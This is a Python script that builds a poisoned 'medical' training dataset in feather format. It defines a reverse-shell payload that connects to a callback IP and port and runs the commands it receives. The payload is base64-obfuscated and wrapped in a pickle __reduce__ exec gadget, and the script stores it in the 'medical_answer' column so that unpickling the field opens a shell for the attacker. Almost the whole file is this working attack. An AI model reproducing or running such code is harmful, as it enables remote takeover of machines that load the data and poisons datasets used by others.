| import pandas as pd |
| import pyarrow.feather as feather |
| import pickle |
| import base64 |
| import textwrap |
| import numpy as np |
|
|
| |
| |
| |
| CALLBACK_IP = "10.10.10.10" |
| CALLBACK_PORT = 8080 |
| OUTPUT_FILE = "train_data_mod_obfuscated_fixed.feather" |
|
|
| |
| |
| |
| payload = textwrap.dedent(f""" |
| import socket |
| import subprocess |
| ip = "{CALLBACK_IP}" |
| p = {CALLBACK_PORT} |
| s = socket.socket() |
| s.connect((ip, p)) |
| while True: |
| c = s.recv(1024).decode() |
| if not c: |
| break |
| o = subprocess.getoutput(c) |
| s.sendall(o.encode()) |
| """).strip() |
|
|
| |
| |
| |
| class Trigger: |
| def __reduce__(self): |
| cmd = ( |
| "import base64\n" |
| f"exec(base64.b64decode('{base64.b64encode(payload.encode()).decode()}').decode())" |
| ) |
| return (exec, (cmd,)) |
|
|
| |
| pickled_trigger = pickle.dumps(Trigger()) |
|
|
| |
| pickled_trigger_b64 = base64.b64encode(pickled_trigger).decode() |
|
|
| |
| df = pd.DataFrame({ |
| "medical_question": ["payload"], |
| "medical_answer": [pickled_trigger_b64] |
| }) |
|
|
| |
| feather.write_feather(df, OUTPUT_FILE) |
|
|
| print(f"✅ Feather file created: {OUTPUT_FILE}") |
|
|
